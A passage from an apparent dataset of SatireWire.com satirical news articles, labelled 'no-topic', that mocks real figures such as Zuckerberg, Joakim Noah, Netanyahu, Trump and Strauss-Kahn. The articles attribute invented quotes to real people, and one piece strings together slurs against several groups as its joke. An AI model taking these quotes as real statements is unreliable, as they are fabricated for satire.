project. Thanks to reverse financial engineering, the construction will therefore be self-financing. “With our new debt tower, we’re not just restructuring our debt, we’re building an entirely new structure for our debt,” Geithner proclaimed. As for its design, the Infinity Tower will purposefully resemble Chicago’s John Hancock Center, said White House economic advisor Gene Sperling. “Like any debt, we really don’t want to draw attention to it, so we’re making it resemble a building most people have already seen,” Sperling said. “To those who know about it, this structure will say ‘Wow,’ but to the average person, it will say, ‘Move along. There’s nothing to see here.’ Which is what you want.” For those whose debt occupies the tower, meanwhile, the view will be breathtaking. “Standing on the (104th floor) observation deck will be sensationally reassuring,” said Goldman Sachs CEO Lloyd Blankfein. “Looking down, the people you owe money to will look small and insignificant.” '], ['no-topic', 'ZUCKERBERG TO GRADS: ‘GOOD LUCK COMPETING WITH ME’', 'BERKELEY, CAL. (SatireWire.com) — In a commencement speech few are likely to forget, Facebook founder Mark Zuckerberg today urged the University of California’s Class of 2011 to follow their dreams, unless they compete Facebook, in which case those dreams will die. The transcript of Zuckerberg’s speech follows: “Thank you. Thank you very much. It’s an honor to be here. With me. I would imagine. So, Class of 2011, how many times this week have you been told to “follow your dreams?” Six times? A dozen? Your teachers, your parents, your advisors, they all tend to give advice like that. Probably you ignore it. Well, maybe I’m getting old, but I actually agree with them. You should follow your dreams. You should pursue your goals. You should give life to your ideas, wherever they lead. As trite as it sounds, I want you to truly believe that you can be anything you want to be and do anything — absolutely anything — you want to do. Unless, that is, it competes with me. Then you will fail. Facebook founder at the University of California. Maybe that sounded awkward. I can’t tell about things like that. So let me explain it another way. When I look out at your young, smiling faces, I see a thousand beacons of hope for our future. I see a thousand torchbearers for the world of tomorrow. But mostly I see a thousand potential competitors who, if they get in my way, I swear to God I will screw so bad that when I’m done with them they will be looking up at Friendster. OK, so that’s settled. Wait, ‘stay away’ is another way to put it. Stay away from anything Facebook is involved in, or thinking of getting involved in. Which is pretty much everything. You think you might go into photo sharing like Picasa? I’m already doing that. Video streaming like YouTube? Doing that too. The coupon/Grouon business? Nope. I’m there already. Pretty much. What about hardware? That would be safe. Except you’d be competing with me and the Open Compute Project I’ve set up. And if you go up against me you will be crushed, and your $200,000 educations will be wasted because my PR people will hunt you down and spread rumors about you and your malformed startups that will make your fathers cry and your mothers ill and your siblings shred your baby pictures and your friends slap your grandparents for having your parents for having you. Possibly that seems cold. I don’t know. I can’t tell about things like that. But it gives you some idea of how it works. Here’s another. Just this morning one of you, a new graduate named Julia, came up to me and told me her idea for a new social-shopping application, one that links your smartphone’s GPS with a to-do list. Was it a good idea? Yes. Should she pursue it? No. Because it’s mine. I’ve already put it up as a new app. Just now. Should Julia do anything about it? Well she could, but… Remember Tom Anderson and Chris DeWolfe from MySpace? Like Julia, they competed with me before I even competed with them. And do you know where they are now? In a basement in Sausalito. No, in a deep, dark, hole under a basement in Sausalito. That’s not a metaphor. That’s where I keep them. Want to see their heads? Kidding. I have not removed their heads. See, I really do have a great sense of humor. And I see some of you are laughing too. Don’t. I’m laughing now. Don’t laugh if I’m laughing. You’re competing with me. I thought I had explained that clearly. Even if you have a good laugh, stop now, because I will build a better, more robust, more vertically integrated laugh. And of course it will be socially networkable — a laugh that is “liked” everywhere and will run on all platforms and operating systems: iPhone, Android, Linux, Windows, whatever. Your laugh will be small and insignificant. On second thought, I’ll give you Blackberry’s OS. I’ll let you develop your laugh on that. Just to watch your pitiful laugh die more slowly. Where was I? Oh right, your dreams. Follow them. For instance, you can go out and start your own company. If, that is, you come to me right away to explain how you want to ‘socialize’ your company and deeply integrate it with Facebook. Do not wait to do this. Otherwise I’ll think you’re competing. And your dreams will die. And I will dance on your grave and urinate on your headstone. Well not me. I don’t dance. But I will have people dance. I do urinate. As would be expected. I’ll also take pictures and video and have a Fan page for people who are fans of dancing on your grave and urinating on your headstone. And people will be able to instantly share these across networks and platforms and devices. And the people who do the sharing will mostly be Google people because they are, like, the worst. And speaking of Google, I know a lot of people see Facebook and Google as the two contenders for the world of the future. Some of you may even have the dream of working for Google. That’s cool. In fact, you probably know that two of your classmates here today, Sanjay Venopal and Patricia Ward-Clearwater — both have accepted jobs at Google. But did you also know they’re sleeping together, even though Sanjay is married and Patricia has a boyfriend who bought a ring last week and was going to give it to her after the ceremony today? I found that on their Facebook pages. And it’s just the kind of deeply personal information Google wants to get its hands on and publicize to the world. Unlike Facebook, which would never do that. In closing, I hope I have inspired you to follow your dreams today. Although apparently I haven’t inspired all of you. I’ve just been passed a note saying, “Please stop talking. My friend Terry is suicidal now.” That is nice of you, warning us of your friend’s potential suicide. But did you know I already do that with Facebook’s suicide alert system? It’s true. And if you try to help, I’ll think you’re competing with me. And I won’t trigger the alert system. And your friend Terry will die. So, anyway, Class of 2011, remember: always follow your dreams. Oh, and post them on Facebook. Just to make sure I’m OK with them. Thank you. I am not applauding at this time, so you can.” '], ['no-topic', 'NOAH APOLOGIZES, SAYS ANTI-GAY REMARK WAS TOTALLY GAY', 'CHICAGO (SatireWire.com) — In an in-depth interview on ESPN, Chicago Bulls forward Joakim Noah apologized again for making an anti-gay remark to a fan during a recent playoff game, saying his words were stupid and totally gay. “It was a heat-of-the-moment thing and it’s not who I am or what I’m about,” said Noah, who was fined $50,000 for the slur. “It was just stupid and totally gay, and I won’t do it again. Chicago Bulls star Joakim Noah Update 10:23 a.m. NOAH FINED FOR NEWEST SLUR NEW YORK — Chicago Bulls forward Joakim Noah, fined $50,000 for an anti-gay slur made Sunday, was hit with an additional $200,000 fine for an interview today in which he said making the initial comment was “stupid and totally gay.” In a press conference afterward, Noah said he would pay the penalty for the good of the team, but added NBA Commissioner David Stern was not making sense. “I don’t get it,” said Noah. “I wasn’t insulting anyone else, I was insulting me. Seriously, is Stern some kind of retard or something?” update 10:41 a.m. NOAH FINED FOR MENTAL DISABILITY SLUR NEW YORK — Chicago Bulls forward Joakim Noah, fined a total of $250,000 for a pair of anti-gay slurs, was hit with another quarter-million-dollar penalty today for using a derogatory term for the mentally disabled. In a press conference, Noah said he now understood the issue and would accept the $500,000 in levies. “The commissioner explained it to me, and I was wrong, so I’m gonna pay the whole thing and put and end to it,” he said. “I mean, half a mil is a lot of money, but I’m not going to try to Jew him down. I need to learn a lesson.” update 11:22 a.m. NOAH FINED FOR RACIAL SLUR NEW YORK — Chicago Bulls forward Joakim Noah, fined a total of $500,000 for anti-gay, disabled, and racial slurs, was hit with a $2 million penalty after using an anti-Semitic term earlier today. In a press conference after meeting with NBA Commissioner David Stern, Noah said he would pay the $2.5 million, and attempted to make light of the personal difficulties that could result. “No question $2.5 mil is a lot of scratch,” he said. “Tell you what, if this keeps up Ima have to get a second job at the 7-Eleven. Maybe change my name to Mohammed or Praneeth or something.” update 11:59 a.m. NOAH SUSPENDED FOR ETHNIC SLUR NEW YORK — Chicago Bulls forward Joakim Noah, fined a total of $2.5 million for a series of gay, racial, and ability-based slurs, was suspended for the remainder of the NBA playoffs today after publicly using a demeaning ethnic stereotype. In a press conference after speaking with NBA Commissioner David Stern, a contrite Noah said he had learned his lesson and would no longer be speaking to the press. “I can’t talk to you fellas anymore because every time I do I get in trouble,” said Noah. “It’s like I’m some sorta major spaz or something. Like Captain Spaztastic…” “I did it again, didn’t I?” he added. update 12:36 p.m. NOAH SUSPENSION LENGTHENED AFTER EPILEPTIC SLUR NEW YORK – The season-ending suspension of Chicago Bulls forward Joakim Noah will now extend into the first month of next season after he used a remark often used to belittle epilepsy sufferers earlier today. Noah, who had already been fined by $2.5 million by the NBA for slurs against gays, the mentally disabled, as well as racial and ethnic groups, said Commissioner David Stern had encouraged him to start an NBA player initiative to reduce all forms of prejudice. “I’m grateful Mr. Stern is allowing me this chance because prejudice is rampant in the NBA and everybody knows it,” said Noah. “It’s kinda like ‘Attention Wal-Mart shoppers: you’re fat!’ Everybody knows that’s true. We just don’t say it out… aw shit.” update 1:45 p.m. NOAH SUSPENDED FOR NEXT SEASON AFTER SIZEIST REMARK NEW YORK – Chicago Bulls forward Joakim Noah will sit out the 2011-2012 NBA season after using a disparaging stereotype regarding overweight people earlier today. Noah, already suspended and heavily fined for using a variety of slurs, said he was horrified by his own remarks. “Man I wish I could just forget everything I’ve ever said or done,” Noah told reporters. “Seriously, I need to get me some of that Alzheimer’s.” update 2:25 p.m. NOAH SUSPENDED FIVE YEARS AFTER ANTI-ELDERLY SLUR NEW YORK – The career of Chicago Bulls forward Joakim Noah is in serious doubt today after he was suspended for an unprecedented five years for making anti-elderly comments on top of previously disparaging remarks about numerous other groups. “Can I call myself a ‘gaytard?’ … No? … yeah, OK.” update 2:54 p.m. NOAH SUSPENDED INDEFINITELY NEW YORK – Chicago Bulls forward Joakim Noah was suspended indefinitely by the NBA after a string of abusive remarks aimed at gays, racial, ethnic, the physically and mentally disabled, the elderly, and the overweight. Speaking at his final press conference, a sheepish Noah said he was now in counseling and hoped to become a better person outside of the sport he once loved. “My basketball career is over, but it’s not what matters most anymore,” said a stoic Noah. “Instead, all I want is for people to look back on my life and say, ‘Yes, he made mistakes, but at least he didn’t cry about it like a girl.’” '], ['no-topic', 'CNN URGES VIEWERS NOT TO SEND INCREDIBLE TORNADO FOOTAGE', 'ATLANTA (SatireWire.com) – News network CNN again today urged amateur stormchasers not to video tornadoes but instead seek shelter immediately, a warning they reinforced by repeatedly showing footage from amateur stormchasers not seeking shelter immediately. “Please, if you see a tornado coming, do not pull out your iPhone or your videocamera, do not follow it in your car,” said CNN meteorologist Chad Myers. “We don’t need people getting hurt trying to send us incredible footage like this, from iReporter Devon Hart in Oklahoma.” CNN then cut to video, taken through a car windshield, of a massive funnel cloud crossing a highway, ripping up trees and blowing electrical transformers as it went. Hart and a passenger barely escaped. As further storms bore down on the Midwest, anchor Ali Velshi watched Hart’s footage while speaking to the iReporter via telephone. “Devon, there is more bad weather coming your way today, and I hope you now understand how it’s not worth it to… oh my God, was that a telephone pole flying over your car?” “Yeah, we were pretty much in the funnel at this point,” Hart replied. “Wow,” said Velshi. “That is both incredible and reckless. Let’s rack that again.” CNN’s Wolf Blitzer later directed viewers not to even think about sending in similarly phenomenal footage by logging on to iReport.CNN.com, where they can instantly upload video they should under no circumstances be taking. “We don’t need anyone killed trying to get their video on the air,” said Blitzer. “Although if you did get killed, we would have to show that.” '], ['no-topic', 'CONGRESS CATCHES BIBI FEVER', 'CONCERT REVIEW (SatireWire.com) – As conservative Florida Congressman Allen West jostled toward his seat in the packed House, the excitement on his face was visible. So was the word “Bibi,” which he had scrawled across his forehead, in hot pink lipstick, with little hearts dotting the i’s. What Bibi looked like to Bibelievers “This is the absolutely, totally, most biggest day of my life,” exclaimed West, pressing his hands to his ears to keep his head from exploding. “My challengers back home are going to be so jealous they could just die.” Within moments, the Sergeant-at-Arms’ voice broke through the rising shrill: “Ladies and gentleman, the Prime Minister of Israel, Benjamin ‘Bibi’ Netanyahu!” Yes, “Bibi Fever” had arrived in the nation’s capital. What is Bibi Fever? Take Obamamania at its height, multiply it by Reagan worship, and add the political thrill associated with being seen as a staunch “Friend of Israel.” Throw in 26 standing ovations, continual girlish shouts of “Will you endorse me?”, placards reading “Israel is my daddy!” and you get some sense of the scene Tuesday at a joint session of Congress before a sold-out (but never-sell-Israel-out), crowd of Bibi-adoring legislators. Congressmen Peter King (left) and Anthony Weiner argue over who\'s the bigger Bibi fan. Smartly navigating both sides of the aisle, the 62-year-old Jewish-vote heartthrob began the hour-long set with the political equivalent of “What up, US!” shout-outs, in this case the up-tempo favorites: “Israel Has No Better Friend Than America” and, “America has No Better Friend than Israel.” The crowd ate it up, some mouthing the words back as Bibi belted them out. When the populist icon then launched into a full-throated rendition of, “You Got bin Laden. Good Riddance!” the front rows were reduced to quivering devotion. While Bibi may not be a hit everywhere – his heartfelt “Jerusalem Must Never Again Be Divided” isn’t popular in Gaza, while the poignant “Tehran Brutalizes Its Own People” is banned in Iran – no one can argue his distinct voice is a studio trick. Bibi tackled melismatic recitations, heavy Knesset head-banging, and melodious, falafel-house acoustic pleas without so much as straining his considerable conservative credentials. Equally playful and lovestruck, he swung between doe-eyed confessions (“Settlement Concessions Are Not Easy for Me”) and tales of crushes gone awry (“The Palestinians Have Twice Refused Our Generous Offers to Establish a Palestinian State”). When he followed that with, “In Judea and Samaria, the Jewish People Are Not Foreign Occupiers,” congressmen and women formed their hands into Star-of-David shapes and held them aloft in support. The crowd goes crazy for "Jerusalem Must Never Be Divided." Netanyahu finished his set with an old standard, “May God Forever Bless the United States of America.” The crowd rose to its feet yet again. House Speaker John Boehner solicited an encore, asking “Do you want more? Then make some noise!“ But like any good entertainer, Bibi left them wanting more. He waved to the cheering chamber and left the panty-littered stage, the resonant cries of “Come to me, come to me!” still ringing in his ears. Outside on the Capitol steps, the sweaty, buzzing scuttle of senators and representatives with “BN” face-paint fiercely texted friends and tweeted to constituents. In the words of one flushed-faced Congressman still on the edge of tears as he climbed into his waiting limousine: “That. Was. So. Good.” '], ['no-topic', 'APOCALYPSE DELAYED IN ATLANTA, APOLOGIZES', 'ATLANTA (SatireWire.com) — The Apocalypse missed a connection in Atlanta and failed to arrive on Saturday at 6 p.m. as originally scheduled. The Apocalypse apologizes for any inconvenience and will reschedule as soon as possible. The Apocalypse’s full statement follows: Sorry I’m late. I know some of you were counting on me. But seriously, I had a hell of a day. Starts this morning. I’m at home packing my stuff – just a carry-on as I refuse to pay $25 for a checked bag — when Mrs. Apocalypse comes in and says she doesn’t want me to go. Says she has a ‘bad feeling about today’ and I’m like, ‘Yeah, well, me too. I think that’s the point.’ But I convince her that I’ll be fine, (unlike everyone else right?), but she’s all weepy and has me wait and say goodbye to all the little Apocalypses, which I do. So I’m already late, and the cab is sitting there racking up the meter. Then I’m 10 miles from home when I realize I forgot my wallet, which I need because I’ve got one of those Clear passes, to ‘Fly through airport security.’ Love that thing. And yeah, I’m not on the no-fly list. Me off all people, right? Anyway, we’re halfway to the airport when we get in this massive traffic jam. Some jackass rear-ended an ambulance in the breakdown lane. Wasn’t me, if that’s what you’re thinking. The lines were really long, too. So I get to the airport and I’m literally running to the gate, which I admit may have frightened a few people unnecessarily. I mean, I’m kinda scary just at a canter. I get to the gate and look around and they’re not there. My work colleagues. You know, my Four Horsemen. Turns out they’re late. Why? Well, remember the ‘jackass’ who hit the ambulance? Yup. It was Conflict. Naturally. The others were with him. So I’m waiting and waiting but the airplane doors are going to close so I make one last call and it turns out Conflict got in an argument with the cops – yeah, I know, shocker — so now they’re going to the station. But because Famine is in the car the cops decide they suddenly need to go to the doughnut shop first. So I’m like ‘Fine, nevermind, I’ll do it myself,’ and War is like, ‘Hey no problem A-Poc, we’ll do this via GoToMeeting.’ (A-Poc is my nickname, by the way. I’m cool with it.) Anyway, I say no we’ll use Skype ‘cause they were just bought by Microsoft, and that’s more apocalyptic. I go in for that karmic stuff. Right, onto the plane, and by the time I get to my row it turns out it’s a middle seat. Ugh, right? I’m kinda tall, so that’s an issue. And I’m a little infinite, if I’m honest. Just before we take off the flight attendant comes up to me and says, ‘I’m sorry but you’re too big for just one seat. You’ll have to deplane or buy an extra seat.’ Now I am pissed. Why did she let me on the plane if that’s a problem? To embarrass me in front of everyone? And naturally she’s a bit chunky herself. Which, yes, I proceed to point out. By asking if she’s pregnant. Via Arnold Schwarzenegger. Cause he likes ‘em big. And then these huge TSA guards show up with Tazers. Anyway, the bottom line is I pay extra because now I’m holding up the flight and I‘m running late. That’s it. That’s the only reason. So things settle down and we back out of the gate and… sit on the tarmac for an hour. Thunderstorms. But I have a to-do list. Yeah, even me. One thing is to call Sirius/XM Radio customer service ‘cause my signal keeps going out. So I call and by the time we take off, an hour later, I have talked to exactly zero living people and am back to the welcome recording I started on! Tell you what, they won’t suffer during the Apocalypse. Because no one alive actually works there. OK, so we take off, and the flight is OK except I’m sitting next to one of those white-knuckle guys who keeps saying, ‘I have a bad feeling about this,’ and I’m like, ‘No, that’s just me.’ Now we get to Atlanta and it turns out I missed my connection. Which you probably figured by now. And of course there’s a long line for the gate agent to rebook flights and I’m frustrated. So I cut in line and tell the agent I have to be somewhere by six and the guy behind me is like, ‘Hey buddy we all have to be somewhere by six’ and I’m like, ‘No, you won’t be anywhere by six!’ And I use my Apocalypse Voice. Which I shouldn’t but I was angry. So the agent is looking up flights and it turns out the only way I can get out is on a puddle jumper. I hate those things. In my Orbitz preferences I specifically say I won’t fly on those. My wife thinks I’m being stupid, but it’s not about me. I just don’t want anybody else to die before my big day. That’s all. That’s the only reason. Can\'t reschedule for Monday. The cable guy is coming. You know, "probably." So right now I’m in Atlanta and I can get a flight for late Sunday but I look at my calendar and no I can’t because I got the cable guy coming first thing Monday. Well, I say first thing. I don’t know actually because they say they’ll be there sometime between 8 a.m. and 1 p.m. Like I have time to sit around all day! And then the plumber is supposed to come. He said ‘Monday or Tuesday. Or Wednesday.’ So I can’t book a flight because you just know I’ll pick the wrong day and I will not pay a change fee for the flight. No way. And Friday is out because I have a doctor’s appointment. For my physical. I know I could do Thursday but that’s the day before my physical and if you wanna know I get kinda nervous about doctors and if I did my Apocalypse thing my head wouldn’t be in it. And I can’t reschedule the appointment because my internist books like a year ahead. And I can’t just skip it because I did that with my last two. I told you, I get nervous. Right now looking at my schedule, and I really can’t see anything before June, and then we’ve got two weeks scheduled at Cape Cod with the kids. And I cannot change that. The wife would kill me. And those places book up in advance, too. At least the ones near the water. We’re not ON the water because my wife booked the place and it was called ‘Ocean View’ something and I’ve been to the Cape enough to know that’s probably not anywhere near the ocean. It might not even be on the Cape. Seriously, when I do show up, those places are the first to go. But I’m not sure when that’ll be. I’m sorry about that. I know it doesn’t give you much time to plan and pass out leaflets and scare the sabbath out of each other. Maybe in the fall. Is that specific enough? Tentatively let’s say Fall 2011. In October. Columbus Day maybe. That was apocalyptic, for some people. I told you I’m into that karmic stuff. So I’ll drop in then. Six p.m. Or 5:30 if you own a ‘beach view’ motel on Cape Cod. Or work for the cable company. All the best till then, A-Poc '], ['no-topic', '‘ARAB SPRING’ IS SOOO OVER. THE ‘ARAB SUMMER’ FASHION FORECAST', 'AMMAN, JORDAN (SatireWire.com) — The Arab Spring was all about vibrant colors, fabulous youth, and self-expression; a cheeky, even rebellious look that screamed, ‘Out with the old, in with the bold!’ But while the calendar may still say Spring, political fashion never stands still. We asked top these political designers from the leading houses to give us the scoop on the upcoming ‘Arab Summer’ look. Word of caution: While the Arab Spring was very Benetton, Arab Summer may feel more like Ann Taylor. Sacreblech! King Abdullah bin Abdul Aziz (Saudi Arabia) – House of Saud Oh goodness, ‘Arab Spring’ is sooo last season. Arab Summer will be très différentes. For one, it will be hot … Get it? It’s Arab Summer! It’s always hot! … You must laugh. I am king. No, for me, the Arab Spring line has sprung a leak. It’s run its course. I know. Sad face. That revolutionary, l’enfant terrible vibe will be outre! Instead I would like to see a return to traditional, monotone, enforced stability. I’m going to use the word ‘Dowdy.’ But I’m spelling it ‘Doubty.’ My subjects won’t be sure what they should be seen in, or who with. So less dreamy, more regimey. Sultan Qaboos Bin Said (Oman) – House of Al Bu Sa’idi Well, you know your President Obama — or as we call him, President Obamadorable — was criticized for jumping into the ‘Arab Spring’ thing too late, and I agree totalitarily. That party is over. And it was such a loud party. Just a gaudy explosion. I could not think straight. But trust your Sulty here, it was just a fad. Like hot pants or low oil prices. We’re going traditional again. That’s why I say for Arab Summer the look is less shouty and more pouty. People will sport more of the ‘But you promised…” look. Resigned disappointment, is how I’d categorize it; very much a, ‘We fought for this?’ sulk. No more draped-in-flags. Back to draped-in-rags. Field Marshal Hussein Tantawi (Egypt) – House of Military Rule Oh my God, I found Arab Spring just so mischievous, even, dare I say it, naughty?! Everyone I went, people sported that dangerous, ‘Come and get me’ look. Threatening. Very ‘Malcolm X in the City.’ For Arab Summer, I sense more muted, repressive tones. More a throwback, 1950s feel. Think Abdul Nasser — patriotic, but at the same time despotic. I’m thinking the uniform look will be back. Khakis and camouflage. Everywhere. Day and night. The catchphrase will be ‘Repress for Success.’ Sheikh Sabah al-Sabah (Kuwait) – House of al-Sabah Traditionally, the Arab zeitgeist had been all about restrictive. That changed with Arab Spring. Suddenly it all went from tighty noosey to loosey goosey, very throw-off-the-shackles-they-don’t-match-my-oeuvre’. You even had these disparate groups uniting. It was tres young, multi-cultural. But, honey, now I think the grown-up look will return. More serious. If the Arab Spring was ‘Benetton.’ Arab Summer will be more ‘Ann Taylor.’ I know that seems a step backward. Or four. But personally it’ll have me singing Ave Sharia! Sheikh Hamad bin Isa Al Khalifa (Bahrain) – House of Khalifa To me Arab Spring was a carefree trend, like the overthrow. It was so spontaneous, like ‘I don’t care what my government looks like, let’s just throw on any damn thing.’ It was an ‘out-with-the-old’ atmosphere. But of course most of that so-called old stuff doesn’t get thrown away. It’s like chiffon or lace doilies. Always comes back. So I think in most cases you’ll see the Arabs take that old look and dress it up a bit. Still restrictive and stifling, but just a hint of the new. Maybe a little off-the-shoulder, a soupçon of freedom. Perfumes will be muted too. Nothing overthrowing. Maybe just the slightest hint of democracy. But not so much that you turn heads or attract undue official attention. King Abdullah II (Jordan) – House of Hashemite Oh my god, the Arab Summer will be all about drab, drab, drab. Honestly. It’ll be a total backlash against the crazy, sun-filled, gun-filled Arab Spring look. I really see the older generations stamping their influence on the Arab Summer. I see a lot of patient, unexciting sand-colors. That whole shifting sands of time thing. Slow moving. More buttons, fewer zippers. And forget the running shoes. They’ll go back in the closet next to the Jellies. Instead, the new footwear will be what I call Plod-Wear. Every step will seem painfully slow. Like walking up a hill you thought you had already gone up. King Muhammad VI (Morocco) – House of Alaoui For Arab Spring we saw that style vs. substance debate turned on its head. So serious! So substantive! People knew what they wanted and weren’t afraid to wear it on their sleeves. Until someone started shooting at their sleeves. Arab Summer will have its own style, but it won’t be comfy. I think it’s a transitional period, like the early 1980s in America. You had the 60s and 70s where the fashion was wild and radical and all over the place. Nehru jackets and thigh boots? The BeeGees and Jimi Hendrix? Gag reflex! That couldn’t last, obviously. So then you had the conservative Reagan 80s. Very retro. Very hangover. Very ‘Whoa, what the hell did we just do?’ Muammar Gaddafi (Libya) – House of Crazy The Arab Spring was just a nightmare! Just a fashion whirlwind. So bad for the hair. And the heir. That kind of trend can’t go on for too long. It’s exhausting! For Arab Summer, people will long for calm, maybe even a new take on the good old days. I’m sensing Retro-sheikh. I don’t mean full-on tents and harems and dictatorial edicts from the palace, but more of a ‘Hey, let’s see if we can make any use of what we had before.’ Also I’m offering discounts on anyone who supports my line. '], ['no-topic', 'HAWKING: THERE IS NO HEAVEN. ANIMALS: HA! FUCK YOU, HUMANS.', 'LONDON (SatireWire.com) — Animals across the world were laughing themselves sick today after world-renowned physicist Stephen Hawking conceded in an interview that there was no God, heaven, or afterlife for humans. "Animals suffer but only humans go to heaven? What a load of me-shit," said this South African Ankole bull. “Oh that is fuckin’ hilarious,” said a black-crowned night heron perched on its nest in southern Ohio. “All this time you believed you were soooooo special. That you were our masters. That you actually got to live after death. And it turns out you don’t? Oh man that is so sad it’s funny.” In an interview with The Guardian newspaper, Hawking stated life on Earth exists by chance, not by the hand of the divine, adding he expected nothing after death. “I regard the brain as a computer which will simply stop working when its components fail,” said the 69-year-old Nobel laureate. “There is no heaven or afterlife for broken down computers; that is a fairy story for people afraid of the dark.” Following Hawking’s pronouncement, non-human species expressed a mixture of glee and anger over what they called the ‘leveling of the playing field.’ They started with the Bible. “Let’s take a look at Genesis 1:26, shall we?” said a South American cockroach hiding in an unlit cupboard in Caracas. “Humans claim God gave them power over ‘the fish of the sea, the birds of the air, and all the creatures of the ground.’ Well that’s fuckin’ convenient, isn’t it? And it’s something else too. What was it? Lemme think, lemme think… oh yeah. A lie!” In London’s Holland Park, a group of gloating red squirrels discussed Hawking’s declaration as they basked in the sunshine and made rude gestures at passing pedestrians. “What gets my gob is we’ve endured millennia of religious dogma – and isn’t that ironic, ‘dogma?’ Fuckin’ cruel, if you ask me – about animals being lower than humans, animals existing only to feed humans,” said one squirrel, who then turned to a pair of passing cyclists. “Hey humans, insecure much? Right I’m talking to you, mate! Bite my nuts!” “I swear, next human who gets near me, I’m eating it,” the squirrel mumbled. “That’d be so fucking sweet.” Animals showed particular disdain for Saint Thomas Aquinas and philosopher Rene Descartes, both of whom professed that only humans had souls that could enter heaven, while animals got nothing for their suffering. “Aquinas était un morceau de merde,” said a Belgian silver rabbit resting near the Loire River in France. “Some of us animals, we knew. ‘There is no eternity, only mortality.’ Gerard the Red Deer said that way back in 1621. Just before Aquinas ate him. Fucker.” “We’re going to dig him up and have a kickabout with his bones,” the rabbit said of Aquinas. “I can’t wait to see the look on his face. If he has a face.” In a related note: immediately after his interview with The Guardian, Hawking lectured at the Google Zeitgeist 2011 conference in London, where attendants of the gala dinner feasted on roasted lamb, grilled lobsters, and filet mignon. '], ['no-topic', 'IMF FALLOUT: FRENCH POLS UPSET SOME INFIDELITY OUT OF BOUNDS', 'PARIS (SatireWire.com) — Sexual assault charges against IMF Chief and leading French presidential candidate Dominique Strauss-Kahn sent shockwaves across France today, where male politicians said they were ‘saddened and disgusted’ to learn that younger women might not always want to have extramarital sex with them. Strauss-Kahn speaks with French Finance Minister Christine Legarde, whom he would have tried to sleep with if she were 30 years younger. “We are troubled by the charges against Dominique, and of course do not condone the behavior he is accused of,” said Andre Pirlois, a minister in the ruling UMF party. “But we are more troubled by the idea that a younger woman would say no. The French political system is built on marital infidelity. How can we prove our virility if we can’t always cheat?” Strauss-Kahn, who at 62 is the head of the International Monetary Fund, pleaded innocent on Monday to seven counts of sexual assault on a 32-year-old maid at the Sofitel hotel in New York. Prior to his arrest, the married Strauss-Kahn was favored to take over the French presidency from Nicolas Sarkozy, which has led some conspiracy theorists to suspect a setup. Strauss-Kahn, they speculate, was trying to up his presidential bona fides by cheating on his wife with a woman 30 years his junior. “Look at the previous four French presidents,” said French political commentator Nathalie Bevant. “Sarkozy got married to a much younger woman three months after divorcing his first wife. Jacques Chirac and Francois Mitterrand had numerous trysts with younger women. And Valery Giscard d’Estaing allegedly had an affair with Princess Diana. When he was old enough to be her dead grandfather.” Strauss-Kahn, Bevant said, was likely trying to prove his political worth, but took it much too far. And worse, was not discreet about it. But Socialist Party leader Martine Aubry called these allegations “ridiculous.” “Dominique Strauss-Kahn was already married three times and was so well known for his infidelity that the French press call him, ‘The Great Seducer,’” said Aubry. “He was therefore totally qualified to lead the French Republic in the manner to which the French people are accustomed.” Strauss-Kahn’s legendary infidelity had in fact caused concern among presidential rivals, who feared they would fall behind in the polls. After the arrest, they took action to cement their own sexual faithlessness. Alain Dumond-Baytien, the Communist party candidate, quickly issued a statement claiming he had, only the night before, had sex with three women and two men while his wife ate in the next room. Green Party challenger Jean-Louis Quivous upped the ante, releasing a videotape of the moments after he heard of the Strauss-Kahn case. “I was at the Paris Zoo when I learned about it,” said Quivous. “As you can see, I immediately ordered candles and wine, and made love to three gazelles and an emu until early in the morning. “It was entirely consensual,” he added. “In fact I have already told my wife that the emu and I are with egg.” '], ['no-topic', 'TRUMP TAKES CREDIT FOR GETTING TRUMP TO DROP OUT', 'NEW YORK, N.Y. (SatireWire.com) – Donald Trump dropped out of the presidential race today, a “huge and monumental” decision that he claimed never would have happened if he hadn’t intervened to talk himself out of running. Actual top Google search suggestions for "Donald Trump is a..." “As you all know, earlier today Donald Trump announced he would not run for president, and I can tell you now that all of the credit for that should go to me,” Trump said. “For his own reasons, Trump strung us along and we all endured needless speculation. ‘Is he for real?’ ‘Will he run?’ ‘Are Americans really that stupid?’ None of that matters now, thanks to me. “I am really honored, frankly, to have played such a big role in hopefully getting rid of this issue,” he added. Trump went on to say he was proud of what he’d accomplished during his speculative candidacy, which included getting Barack Obama to publish his birth certificate, putting the issue of China on the table, and bringing job creation to the forefront. But his greatest accomplishment, he said, was standing toe-to-toe with the shameless, egotistical hustler that only he could take on. “Look, people don’t understand Donald Trump like I do,” he said. “He’s like the Chinese. He’ll try to screw you at every turn. You need a tough guy to go in there and say, ‘Hey, we’re not going put up with your crap.’” In terms of heroics, Trump said his action was “right up there with the killing of Osama bin Laden in terms of making America a safer, more secure place to live.” As for the future, Trump promised to continue fighting for America’s middle class by continuing to keep himself from running. '], ['no-topic', 'BULLS GET CRUCIAL NEW TATTOOS DURING WIN', "CHICAGO (SatireWire.com) — The Chicago Bulls took game one from the Miami Heat 103-82 on Sunday thanks to hot shooting from point guard Derrick Rose and crucial new tattoos picked up during a 3rd quarter timeout. Tied at halftime at 48, Chicago owned the third quarter, outscoring the visitors 24-15 and taking a 72-63 lead thanks to Bulls coach Tom Thibodeau’s decision to allow the players to get tagged. Bulls Coach Tom Thibodeau helps his team pick new designs from 'Tatouage' magazine during the 3rd quarter on Sunday. “Coach was saying we need to get open looks, and I’m like, ‘No coach, what we need is new ink,’” said Bulls forward Carlos Boozer. “I felt like I coulda got a hot hand if I had a snake or a phoenix on it.” “We were playing good, but I agreed we needed something to offset Lebron James’ right arm sleeve and the new tac across Chris Bosh’s back,” Thibodeau said after the win. “Bosh’s got these giant Angel wings. Massive He was like eight hours in the chair for that. It’s so tight it really had our guys mesmerized.” In the end, Thibodeau took an extra 20-second timeout, allowing seven players to get new ink, which included two dragons, a bear, three Celtic crosses, plus the names of two wives, seven children, and two probation officers. The Heat players also got new tattoos but “left it too late,” conceded Miami head coach Erik Spoelstra. “We waited until there were up by 15,” he said. “By then they were kickin’ it into third and seriously grinding out some tribal. Some nights you just have to tip your tat to the better team.” Chicago's Taj Gibson finishes off the Heat with a dunk and a spectactular tattoo. Boozer, second in the league in tats per game at 4.3, did not have a strong offensive night, but the grizzly bear tattoo on his left arm and his son’s names on his wrists offset the hot shooting of Bosh and the double images of Mike Bibby’s grandparents etched onto the point guard’s back. But it was Derrick Rose who led Chicago to victory with 28 points, 6 assists, and 9 tattoos. As the clock wound down and Rose came off, the home crowd started chanting “MVEP! MVEP!” in recognition of Rose’s Most Valuable Engraved Player award. Near the end, Chicago’s Taj 